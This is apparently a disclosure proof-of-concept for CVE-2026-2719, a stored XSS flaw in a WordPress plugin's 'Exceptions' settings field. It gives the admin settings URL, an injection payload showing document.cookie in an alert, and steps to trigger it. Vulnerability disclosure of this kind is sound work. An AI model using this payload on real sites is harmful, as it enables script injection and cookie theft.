CVE-2026-2719: WP插件存储型XSS漏洞

// PoC for CVE-2026-2719: Stored XSS in Private WP Suite Plugin // Preconditions: Administrator access, WordPress Multisite or unfiltered_html disabled. // Step 1: Navigate to the plugin settings page // URL: /wp-admin/options-general.php?page=private-wp // Step 2: Locate the 'Exceptions' input field // Step 3: Inject the payload into the field let payload = '"><script>alert(document.cookie);</script>'; // Step 4: Save the settings // The payload is now stored in the database via the 'Exceptions' option. // Step 5: Trigger the vulnerability // Visit any frontend or backend page that echoes the 'Exceptions' value. // The alert box will execute, demonstrating the XSS.